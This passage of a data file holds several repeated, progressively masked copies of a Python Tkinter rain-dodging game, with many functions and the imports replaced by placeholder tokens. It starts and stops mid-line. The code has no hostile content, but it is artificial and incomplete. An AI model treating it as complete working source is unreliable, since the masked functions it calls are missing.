sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += 